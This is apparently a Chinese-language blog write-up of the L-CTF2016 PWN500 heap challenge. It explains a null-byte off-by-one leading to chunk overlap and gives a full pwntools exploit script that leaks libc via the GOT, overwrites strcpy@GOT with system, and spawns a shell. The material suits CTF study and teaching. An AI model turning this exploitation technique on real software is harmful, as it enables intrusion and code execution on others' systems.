BruceFan's Blog

Stay hungry, stay foolish

0%

L-CTF2016 PWN500

下载
漏洞点在new_package的时候会有nullbyte off-by-one,通过伪造prev_size和in_use位来达到chunk overlapping。
下图是漏洞点的位置,在new_package函数里。


图中r12是malloc的堆,用来存放package的结构体,经分析package的结构大体如下:

1
2
3
4
5
package:
| 0x8 | 0x8 | 0x8 | >0x1f0
+------+------+------+-------------+
| next | prev | len | content |
+------+------+------+-------------+

ebp中存放着要输入的content的length。read_str可以读入length字节的字符,并在后面添加0,添加的0即可构成off-by-one。
还有其他一些重要的结构体分析如下:
control结构体保存其他结构体的指针或结构体链表的头指针

1
2
3
4
5
control:
| 0x8 | 0x8 | 0x8
+-------------+-------------+-------------+
| receiver | sender | package |
+-------------+-------------+-------------+
1
2
3
4
5
sender:
| 0x10 | 0x30 | 0x8
+---------+--------------+----------+
| name | contact | recv_ptr |
+---------+--------------+----------+
1
2
3
4
5
receiver:
| 0x8 | 0x8 | 0x10 | 0x10 | 0x10 | 0x8 | 0x38
+------+------+--------+----------+---------+---------+-------------+
| next | prev | name | postcode | contact | pkg_ptr | address |
+------+------+--------+----------+---------+---------+-------------+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/python
#coding:utf-8

from pwn import *

DEBUG = 1
LOCAL = 1
VERBOSE = 1

if LOCAL:
r = process('./pwn500')
else:
r = remote('127.0.0.1', 4444)

if VERBOSE: context(log_level = 'debug')

read_got = 0x603038
read_offset = 0xf69a0
system_offset = 0x45380

def enterGame():
r.recvuntil('send packages(y or n)?\n')
r.sendline('y')

def senderInfo(name, contact):
r.recvuntil('your choice :')
r.sendline('1')
r.recvuntil('your name?\n')
r.send(name)
r.recvuntil('your contact?\n')
r.send(contact)

def submitPack():
r.recvuntil('your choice :')
r.sendline('6')

def showRecv():
r.recvuntil('your choice :')
r.sendline('5')

def deleteRecv(index):
r.recvuntil('your choice :')
r.sendline('4')
r.recvuntil('index of receiver that you want to delete?\n')
r.sendline(str(index))

def newRecv():
r.recvuntil('your choice :')
r.sendline('2')

def setRecv(name, postcodes, contact, address):
r.recvuntil('your choice :')
r.sendline('1')
r.recvuntil('your name?\n')
r.send(name)
r.recvuntil('your postcodes?\n')
r.send(postcodes)
r.recvuntil('your contact?\n')
r.send(contact)
r.recvuntil('your address?\n')
r.send(address)

def newPackage(length, data):
r.recvuntil('your choice :')
r.sendline('2')
r.recvuntil('length of your package?\n')
r.sendline(str(length))
r.recvuntil('input your package~\n')
r.send(data)

def savePackage():
r.recvuntil('your choice :')
r.sendline('5')

def exitAddRecv():
r.recvuntil('your choice :')
r.sendline('6')

def deletePackage(index):
r.recvuntil('your choice :')
r.sendline('3')
r.recvuntil('index of package that you want to delete?\n')
r.sendline(str(index))

def editRecv(index, name, postcodes, contact, address):
r.recvuntil('your choice :')
r.sendline('3')
r.recvuntil('index of receiver that you want to edit?\n')
r.sendline(str(index))
r.recvuntil('your name?\n')
r.send(name)
r.recvuntil('your postcodes?\n')
r.send(postcodes)
r.recvuntil('your contact?\n')
r.send(contact)
r.recvuntil('your address?\n')
r.send(address)

def pwn():
if DEBUG: gdb.attach(r)
enterGame()

senderInfo('1\n', '1\n')
newRecv() # enter Packages Log
setRecv('1\n', '1\n', '1\n', '1\n')
newPackage(160, 'a'.ljust(159, 'a')+'\n') # hex(160 + 24) = 0xb8(receiver的大小) 所以申请160的大小
newPackage(160, 'b'.ljust(159, 'b')+'\n')
newPackage(160, 'c'.ljust(159, 'c')+'\n')
newPackage(8, 'pad\n')
newPackage(160, 'd'.ljust(159, 'd')+'\n')
newPackage(224, 'e'.ljust(223, 'e')+'\n')
# 堆 a b c pad d e
# 链表 pad->d->c->b->a->e
deletePackage(2) # 删除c
deletePackage(1) # 删除d
# 堆 a b 空 pad 空 e
# 链表 pad->b->a->e
savePackage()

newRecv()
setRecv('2\n', '2\n', '2\n', '/bin/sh;\n') # 原先c的位置
newPackage(160, 'x'*152 + p64(816)) # 原先d的位置, off by one,把e的prev_inuse位覆盖为0
# 堆 a b 2 pad x e
# 链表 pad->x->b->a->e
deletePackage(3) # 删除a
deletePackage(3) # 删除e,prev_size是816,会把到a的堆当做空闲chunk
# 堆 空 b 2 pad x 空 ; 实际都为空
# 链表 pad->x->b
savePackage()

newRecv()
setRecv('3\n', '3\n', '3\n', '3\n') # 原先a的位置,有必要,没有receiver不能new package
# 168+8+8 原先b的位置,将c位置上的receiver0的next指针覆盖为read@got-0x48,show_reveiver时next->address会打印出read的地址
newPackage(0xb9, 'A' * 168 + p64(read_got - 0x48) + p64(0x0) + '\n')
exitAddRecv()

showRecv()
for i in xrange(2): r.recvuntil('address:')
addr = u64(r.recvn(6).ljust(8, '\x00')) - read_offset
info("Libc leak = " + hex(addr))
system = addr + system_offset
read = addr + read_offset

editRecv(1, '1\n', '1\n', p64(system)[:-1] + '\n', p64(read)[:-1] + '\n') # 把strcpy@got覆盖为system的地址
editRecv(0, 'x\n', 'x\n', 'x\n', 'x\n')
r.interactive()

if __name__ == '__main__':
pwn()